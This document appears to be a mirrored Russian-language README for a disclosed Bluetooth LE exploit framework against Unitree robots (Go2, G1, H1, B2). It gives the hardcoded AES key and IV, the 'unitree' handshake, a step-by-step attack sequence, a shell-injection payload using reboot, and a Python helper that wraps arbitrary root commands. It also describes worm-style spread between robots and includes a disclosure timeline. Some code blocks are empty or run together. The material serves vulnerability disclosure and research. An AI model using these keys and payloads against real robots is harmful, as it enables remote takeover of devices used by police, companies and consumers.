
Эксплойт-фреймворк BLE для роботов Unitree: инъекция команд через жёстко прописанные AES-ключи обеспечивает удалённый захват управления, внедрение пейлоада и червеобразное распространение.

Автор: Bin4ry aka Andreas Makris [[email protected]]
Соавтор: h0stile aka Kevin Finisterre
Участник: legion1581 aka Konstantin Severov из theroboverse помог исправить полезную нагрузку для инъекции и доказал это полностью рабочим PoC 🙂 спасибо, чувак, это был критически важный вклад, очень ценим!
Дата: 20 сентября 2025 года
CVE-2025-35027
CVE-2025-60017
CVE-2025-60250
CVE-2025-60251
Исследование из этого репозитория включено в статью, в которой представлена систематическая оценка безопасности Unitree G1. Однако влияние исследования НЕ ограничивается только G1, а распространяется на всю линейку продуктов Unitree, начиная с серии Go2. Код на более новых роботах Unitree, по-видимому, является форком кодовой базы Go2, что делает линейку Go1 и другие роботы Unitree до Go2 не уязвимыми. Однако на данный момент затронуты все современные варианты. Unitree ещё не выпустила рекомендации, уточняющие точное влияние на всю линейку продуктов.
Ссылка на статью: https://arxiv.org/abs/2509.14139
Название: Cybersecurity AI: Humanoid Robots as Attack Vectors
Авторы: Víctor Mayoral-Vilches, Andreas Makris, Kevin Finisterre```bibtex
@misc{mayoralvilches2025cybersecurityaihumanoidrobots,
title={Cybersecurity AI: Humanoid Robots as Attack Vectors},
author={Víctor Mayoral-Vilches and Andreas Makris and Kevin Finisterre},
year={2025},
eprint={2509.14139},
archivePrefix={arXiv},
primaryClass={cs.CR},
url={https://arxiv.org/abs/2509.14139},
}
Оглавление
=================
* [Анализ инъекции команд в BLE-сервисе роботов Unitree](#unitree-robot-ble-service-command-injection-analysis)
* [Обзор](#overview)
* [Обнаружение BLE-сервисов](#ble-service-discovery)
* [Обратная разработка протокола](#reverse-engineering-the-protocol)
* [Инструкция 1: «Безопасное» рукопожатие](#instruction-1-the-secure-handshake)
* [Инструкция 2: Получение серийного номера](#instruction-2-get-serial-number)
* [Инструкция 3: Инициализация режима Wi-Fi](#instruction-3-initialize-wifi-mode)
* [Инструкция 4: Установка SSID](#instruction-4-set-ssid)
* [Инструкция 5: Установка пароля](#instruction-5-set-password)
* [Инструкция 6: Установка кода страны (триггер!)](#instruction-6-set-country-code-the-trigger)
* [Поток настройки Wi-Fi](#the-wifi-setting-thread)
* [Уязвимая функция: инъекция команд](#the-vulnerable-function-command-injection)
* [Схема атаки](#attack-flow-summary)
* [Угроза самораспространения](#the-wormable-threat)
* [Доказательство концепции](#proof-of-concept)
* [Реальное применение и воздействие](#real-world-deployment--impact)
* [Текущие развёртывания](#current-deployments)
* [Оценка воздействия](#impact-assessment)
* [Воздействие на правоохранительные органы и военных](#law-enforcement--military-impact)
* [Корпоративные среды](#corporate-environments)
* [Воздействие на потребителей](#consumer-impact)
* [Самораспространяющееся заражение](#wormable-propagation)
* [Технические подробности](#technical-details)
* [Архитектура BLE-сервиса](#ble-service-architecture)
* [Криптографические параметры](#cryptographic-parameters)
* [Структура пакетов](#packet-structure)
* [Извлечённые уроки](#lessons-learned)
* [График раскрытия](#disclosure-timeline)
* [Первая и последняя попытка сообщить о ещё одной проблеме безопасности в ваших флагманских G1, Go2 и других роботах](#first-and-last-attempt-to-report-another-security-issue-in-your-flagship-g1-and-go2-and-other-bots)
* [Отказ от ответственности](#disclaimer)
* [Системный характер проблем безопасности](#a-pattern-of-security-issues)
* [Заключение](#conclusion)
* [Юридическое уведомление](#legal-notice)
* [Вклад в проект](#contributing)
* [Лицензирование и доступ к этим файлам](#licensing-and-access-to-these-files)
---
## Обзор
В ходе нашего исследования безопасности роботизированных платформ Unitree мы обнаружили критическую уязвимость в интерфейсе настройки Wi-Fi через Bluetooth Low Energy (BLE). Эта уязвимость затрагивает несколько моделей роботов Unitree, включая роботов серий Go2, G1, H1 и B2, вплоть до последней прошивки на сегодняшний день [20 сентября 2025].
**🎯 Это первый публично раскрытый эксплойт, нацеленный на гуманоидных роботов!**
Уязвимость сочетает в себе несколько проблем безопасности: жёстко зашитые криптографические ключи, тривиальный обход аутентификации и несанитизированную инъекцию команд. Что делает эту ситуацию особенно тревожной, так это то, что она полностью **самораспространяющаяся** — заражённые роботы могут автоматически компрометировать других роботов в пределах радиуса действия BLE. Эта уязвимость позволяет атакующему полностью захватить контроль над устройством.
Мы опубликовали криптографические ключи в июле [Ссылка на твит](https://x.com/Bin4ryDigit/status/1950566849072005304), но Unitree не обратила на это внимания.
Давайте углубимся в технические детали того, как мы обнаружили и использовали эту уязвимость.
## Обнаружение BLE-сервисов
Первым шагом было определение BLE-сервисов, доступных на роботах. Все затронутые модели Unitree предоставляют пользовательский BLE-сервис для настройки Wi-Fi:```
Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb
Write Characteristic: 0000ffe2-0000-1000-8000-00805f9b34fb
Notify Characteristic: 0000ffe1-0000-1000-8000-00805f9b34fb
В ходе обратной инженерии мы обнаружили, что робот реализует менеджер приёма, который обрабатывает зашифрованные BLE-пакеты. Вот что мы выяснили:

Менеджер приёма сначала расшифровывает входящие пакеты, используя жёстко заданные параметры AES:```python AES_KEY = "df98b715d5c6ed2b25817b6f2554124a" AES_IV = "2841ae97419c2973296a0d4bdfe19a4f" Mode: AES-CFB128

После расшифровки пакеты обрабатываются на основе кодов инструкций в структуре switch-case. Давайте рассмотрим каждую инструкцию:
## Инструкция 1: «Безопасное» рукопожатие

«Аутентификация» рукопожатия до смешного проста:


По сути, робот проверяет, содержит ли расшифрованный пакет строку `"unitree"` в качестве секрета рукопожатия, а затем устанавливает флаг `valid_incoming_user` в 1. Вот и весь механизм «аутентификации»!
## Инструкция 2: Получение серийного номера

Эта инструкция проверяет, «аутентифицирован» ли пользователь (т.е. установлен ли флаг), затем читает файл серийного номера и возвращает его. Это подтверждает, что у нас есть доступ к системе.
## Инструкция 3: Инициализация режима WiFi
Эта инструкция инициализирует настройки WiFi. Пользователь может выбрать режим AP (подкоманда = 1) или режим STA (подкоманда = 2):

## Инструкция 4: Установка SSID
Эта инструкция сохраняет SSID WiFi. Вот наша первая точка внедрения:

## Инструкция 5: Установка пароля
Аналогично команде SSID, здесь сохраняется пароль WiFi. Ещё одна точка внедрения:

## Инструкция 6: Установка кода страны (Триггер!)
Эта инструкция устанавливает код страны WiFi и, что критически важно, запускает `WifiSettingThreadFunction`:

При выполнении инструкции 6 запускается поток настройки WiFi, который приводит нас к уязвимым функциям.
## Поток настройки WiFi
Поток настройки WiFi вызывает либо `restart_wifi_ap`, либо `restart_wifi_sta` в зависимости от режима:

## Уязвимая функция: внедрение команд
Обе функции — `restart_wifi_ap` (`hostapd_restart.sh`) и `restart_wifi_sta` (`wpa_supplicant_restart.sh`) — следуют одному и тому же уязвимому шаблону.
Вот неопровержимое доказательство (на примере функции `restart_wifi_ap`):

Функция формирует следующую команду:```bash
sudo sh /unitree/module/network_manager/upper_bluetooth/hostapd_restart.sh "wifi_ssid wifi_pass"
Эта команда затем передаётся напрямую в system() без какой-либо проверки ввода или санитизации!
Если мы контролируем либо wifi_ssid, либо wifi_pass, мы можем внедрить собственные команды. Простой payload, например:```bash
";$(reboot -f);#
Было бы достаточно для перезагрузки робота. Но мы можем сделать гораздо больше...
## Сводка хода атаки
Вот полная последовательность атак, которую нам нужно выполнить:
1. Отправьте AES-зашифрованный payload "unitree" в качестве данных для инструкции 1
2. Отправьте команду get_sn и расшифруйте ответ, чтобы проверить доступ
3. Отправьте init_wifi с подкомандой 1 (AP) или 2 (STA)
4. Установите wifi_ssid равным нашему инъекционному payload, например `";$(reboot -f);#`
5. Установите wifi_pass в произвольное значение
6. Установите код страны WiFi, чтобы запустить уязвимый поток
Если всё сработает, робот выполнит нашу инъекционную команду с привилегиями root.
## Угроза самораспространения
Что делает эту уязвимость особенно опасной — это её **самораспространяющийся** характер. С помощью этого метода мы можем:
- Выполнять произвольные команды с привилегиями root
- Передавать и выполнять вредоносное ПО через инъекцию payload
- Принуждать роботов подключаться к WiFi-сетям, контролируемым атакующим
- Создавать самораспространяющееся вредоносное ПО, заражающее ближайших роботов
Зараженный робот может просто сканировать других роботов Unitree в радиусе действия BLE и автоматически взламывать их, создавая ботнет из роботов, который распространяется без вмешательства пользователя.
## Проверка концепции
Мы разработали полный фреймворк эксплойта для проверки концепции, демонстрирующий эту уязвимость. Эксплойт включает:
- BLE-сканер и фреймворк эксплойта на Python
- Android APK (ранее опубликованный 5 сентября 2025 года в Slack-канале для тестировщиков через защищенный паролем zip-архив)
- Несколько предопределенных payload (включение SSH, перезагрузка системы, пользовательские команды)
- Поддержку всех затронутых моделей роботов (Go2, G1, H1, B2, ...)
Ключевые компоненты нашего рабочего эксплойта:```python
AES_KEY = bytes.fromhex("df98b715d5c6ed2b25817b6f2554124a")
AES_IV = bytes.fromhex("2841ae97419c2973296a0d4bdfe19a4f")
HANDSHAKE_CONTENT = "unitree"
def build_pwn(cmd):
return f'";$({cmd});#'

Роботы Unitree уже применяются в критически важных реальных сценариях, что делает эту уязвимость особенно тревожной:
Правоохранительные органы: Полиция Ноттингемшира в настоящее время испытывает роботов Unitree для сценариев вооруженного реагирования, включая:
Военные операции: Роботы Unitree используются НОАК в военных целях, что влечет значительные последствия для безопасности оборонных операций.
Последствия этой уязвимости весьма серьезны:
0000ffe0-0000-1000-8000-00805f9b34fb0000ffe2-0000-1000-8000-00805f9b34fb0000ffe1-0000-1000-8000-00805f9b34fbdf98b715d5c6ed2b25817b6f2554124a (захардкожен, одинаков на всех устройствах)2841ae97419c2973296a0d4bdfe19a4f (захардкожен, одинаков на всех устройствах)Encrypted([0x52, length, instruction, data, checksum])
## Извлечённые уроки
Это исследование подчёркивает несколько важных принципов безопасности:
- **Никогда не используйте жёстко заданные ключи:** Каждое устройство должно иметь уникальный криптографический материал
- **Эшелонированная защита:** Несколько уровней безопасности предотвращают единые точки отказа
- **Проверка входных данных:** Всегда очищайте пользовательский ввод, особенно перед системными вызовами
- **Тестирование безопасности:** Регулярное тестирование на проникновение может выявить эти проблемы на ранних стадиях
## Хронология раскрытия
Мы изначально предприняли попытку ответственного раскрытия этой уязвимости в Unitree:
- **Ошибка обнаружена:** Ошибка была обнаружена 14 апреля 2025 года Андреасом Макрисом (Bin4ry) и обсуждалась в личных сообщениях Slack с Кевином Финистерре (h0stile) и Константином Северовым (legion1581).

- **PoC разработан:** 25 апреля 2025 года Константин Северов смог исправить ошибочный пейлоад Андреаса и создать корректный рабочий пейлоад для инъекции. Так родился первый PoC.

- **Обнаружена небезопасная BLE:** После того как Константин подтвердил уязвимость инъекции, Андреас обнаружил жёстко заданные ключи и слабую аутентификацию для BLE.
- **Первоначальный контакт:** На каналы безопасности и поддержки Unitree было отправлено несколько электронных писем
- **Проблемы с коммуникацией:** Один из авторов (Андреас Макрис) неоднократно удалялся из цепочек писем без объяснения причин
- **Отсутствие ответа:** Unitree не проявила заинтересованности или значимого участия в решении проблем безопасности
- **Итог:** Ни подтверждения, ни сроков устранения уязвимостей предоставлено не было
Учитывая отсутствие ответа Unitree и очевидное безразличие к вопросам безопасности, **Андреас Макрис решил прекратить попытки частного раскрытия будущих уязвимостей в Unitree**. Любые дополнительные проблемы безопасности, которые будут обнаружены, будут раскрываться публично без предварительного уведомления вендора.
Это решение отражает продемонстрированное нежелание Unitree конструктивно взаимодействовать по вопросам безопасности, что особенно тревожно с учётом их использования в правоохранительных органах и военных структурах.
### Первая и последняя попытка сообщить ещё об одной проблеме безопасности в ваших флагманских G1, Go2 и других роботах
(Инициатива Кевина Финистерре)
- **14 мая 2025 года** — Попытка контакта для раскрытия информации через [LinkedIn](https://www.linkedin.com/posts/kevin-finisterre-6431069a_fyi-unitree-robotics-is-being-given-an-opportunity-activity-7328446278852407296-qZB4) и [GitHub issue #126](https://github.com/unitreerobotics/unitree_ros/issues/126), несмотря на то что Unitree годами игнорировала другие попытки сообщений *с нашей стороны* и со стороны наших коллег-исследователей.
-
Электронное письмо с темой *«Первая и последняя попытка сообщить ещё об одной проблеме безопасности в ваших флагманских G1, Go2 и других роботах»* отправлено на адреса:
Tony Yang <[email protected]>, <[email protected]>, <[email protected]>, Laikago <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>, Xing <[email protected]>, XMath <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>
- Unitree сразу же предложила возможную программу вознаграждений в будущем, однако на тот момент это было преждевременное обсуждение.
- **28–29 мая 2025 года** — После двух недель обсуждения общего отсутствия *серьёзности* Unitree в вопросах безопасности был создан `[email protected]` в качестве жеста доброй воли.
-
Электронное письмо с темой *«Следующие шаги... касательно сообщения о критической уязвимости в Unitree G1»* указывало на отсутствие практик раскрытия информации, игнорирование Darknavy и предыдущих отчётов, а также предлагало либо личную демонстрацию с отладочной сборкой, либо предоставление робота на время (как Unitree отправляет инфлюенсерам). От обоих вариантов отказались, включая предложение встретиться на ICRA.
- **8 июня 2025 года** — Unitree ответила: «Патч, связанный с Go1 “Zhexi”, уже появился в апреле» со ссылкой <https://www.unitree.com/download/go1>, добавив: «GitHub предназначен только для проблем, связанных с работой репозитория. Поэтому для кибербезопасности мы предлагаем использовать нынешние способы». Ответы становились всё реже.
- **14–26 июня 2025 года** — Оказали давление на них по вопросу прозрачности лицензированного кода MIT Cheetah; в противовес использованию криптографических алгоритмов и ограничению доступа к их экземплярам подсистемы linux для сокрытия заимствованного кода.
- Ответ пришёл 26 июня: *«Извините за поздний ответ. Я не забыл. Просто нужно больше времени»*.
- Примерно в это время Unitree опубликовала вакансию для сотрудников по безопасности. [Вакансия](https://m.zhipin.com/web/common/security-check.html?seed=F0HDtXiugDFyEi4Ap0g8%2FTu2hnxkObxC1s2HV5XA8%2Fw%3D&name=8955eed0&ts=1757704720826&callbackUrl=%2Fjob_detail%2F8f6b34a1ca755b4f03Fz2tq7EFVU.html&srcReferer)
- **18 июля 2025 года** — В связи с молчанием и отсутствием прогресса в переговорах о границах раскрытия информации было отправлено электронное письмо с темой *«Ну что, мы закончили? Потому что я почти закончил…»*.
- **20 июля 2025 года** — Unitree признала, что у нас есть «известные уязвимости G1», но заявила, что устранение наших предполагаемых находок с помощью исправлений «требует полной системной итерации, которая займёт *кварталы или годы,»* и указала на предстоящий публичный портал безопасности как на важную веху.
- **25 июля 2025 года** — Unitree запустила маркетинг R1. После этого дальнейших сообщений не поступало.
- Принято решение раскрыть информацию публично и позволить Unitree решать вопросы в собственные сроки. Дальнейшие попытки раскрытия новых находок предприниматься не будут.
- **2 сентября 2025 года** — Unitree объявляет о целевом показателе оценки в US$7 млрд на предстоящем IPO в четвёртом квартале 2025 года.
## Отказ от ответственности
⚠️ **Предупреждение:** Этот код предназначен исключительно для образовательных и исследовательских целей. Не используйте его на устройствах, которые вам не принадлежат.
## Закономерность проблем безопасности
Эта уязвимость не является единичным инцидентом. Проведённые нами ранее исследования выявили тревожные закономерности в практике безопасности Unitree:
**CVE-2025-2894:** [Исследователи обнаружили бэкдор в роботах более ранней серии Go1](https://takeonme.org/cves/cve-2025-2894/), который, как позднее утверждала Unitree, был «оставшимся кодом». Однако, как мы отмечали в отчёте по Go1, независимо от того, был ли это намеренный бэкдор или небрежное программирование, оба сценария указывают на компанию, которая не уделяет первостепенного внимания безопасности.
Теперь в следующем поколении роботов (Go2, G1, H1, B2) мы видим те же фундаментальные ошибки безопасности: жёстко заданные ключи, тривиальная аутентификация и небезопасные системные вызовы. Это говорит о том, что **Unitree не извлекла уроков из предыдущих проблем безопасности** и продолжает выпускать продукты с критическими уязвимостями.
Закономерность очевидна:
- **Серия Go1:** Скрытые бэкдоры (CVE-2025-2894)
- **Неизвестный отчёт DarkNavy** «На GeekPwn 2022 мы... связались с Unitree для ответственного раскрытия (но не получили ответа)»
- **Серия Go2/G1/H1/B2:** Инъекция команд через BLE (данное исследование)
Для компании, развёртывающей роботов в правоохранительных органах и военных структурах, такой уровень халатности в области безопасности неприемлем.
## Заключение
Сочетание жёстко заданных криптографических ключей, тривиального обхода аутентификации и инъекции команд создаёт идеальный шторм для широкомасштабной эксплуатации. Способность этой уязвимости к самораспространению делает её особенно опасной в средах с несколькими роботами.
Учитывая послужной список Unitree по проблемам безопасности и использование их роботов в критически важных правоохранительных и военных сценариях, необходимо немедленное принятие мер для устранения этих системных сбоев безопасности.
Мы следовали практике ответственного раскрытия информации и работаем с Unitree над решением этих проблем. Данное исследование предназначено исключительно для образовательных и защитных целей.
---
## Правовое уведомление
⚖️ Это исследование проводилось на законно принадлежащем оборудовании в образовательных целях и целях исследований в области безопасности. Любое использование этой информации в злонамеренных целях строго запрещено и может нарушать действующее законодательство.
Помните: с большой силой приходит большая ответственность. Используйте эти знания для создания лучших и более безопасных систем!
## Вклад в проект
Если вы обнаружите дополнительные проблемы или улучшения, пожалуйста, не стесняйтесь отправлять pull request или открывать issue.
## Лицензирование и доступ к этим файлам
Эти файлы выпущены под лицензией Creative Commons [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/).
<p align="left">
<img src="https://assets.kitploit.com/production/public/readmes/49064/29490d1f406beb842255421807acdf0e4327f9cdf7547041398560fd7452a5ea.png">
</p>
Эта лицензия предоставляет вам определённые, но ограниченные права на использование этих файлов.
<p align="left">
<img src="https://assets.kitploit.com/production/public/readmes/49064/00bb7938b330aa21407316a9f3d62fdad4e502fddc76237f7ae4e6b518386dcb.png">
</p>
[Лицензия Attribution NonCommercial ShareAlike 4.0 International](https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode.en)
Вы можете свободно:<br>
Делиться — копировать и распространять материал в любом носителе или формате<br>
Адаптировать — изменять, преобразовывать и создавать новое на основе материала<br>
Лицензиар не может отозвать эти свободы, пока вы соблюдаете условия лицензии.<br>
На следующих условиях:<br>
Атрибуция — Вы должны указать соответствующее авторство, предоставить ссылку на лицензию и указать, были ли внесены изменения. Вы можете делать это любым разумным способом, но не таким, который предполагает, что лицензиар поддерживает вас или ваше использование.<br>
Некоммерческое использование — Вы не можете использовать материал в коммерческих целях.<br>
С сохранением условий — Если вы изменяете, преобразовываете или создаёте на основе материала, вы должны распространять свои материалы на тех же условиях, что и оригинал.<br>
Без дополнительных ограничений — Вы не можете применять юридические условия или технологические меры, которые юридически ограничивают других в выполнении любых действий, разрешённых лицензией.<br>
Уведомления: Пожалуйста, прочитайте [разъяснение понятия «Некоммерческое использование» Creative Commons](https://wiki.creativecommons.org/wiki/NonCommercial_interpretation) для получения дополнительной информации о лицензировании.<br>
Это напрямую означает, что вы НЕ можете взимать плату за доступ к этим файлам, не можете добавлять их в свою коммерческую платформу эксплуатации уязвимостей или закрывать их платным доступом, потому что у вас прямо нет на это разрешения; более того, вам это прямо запрещено без потенциальных юридических последствий.
Это исследование публикуется в образовательных целях. Пожалуйста, используйте ответственно.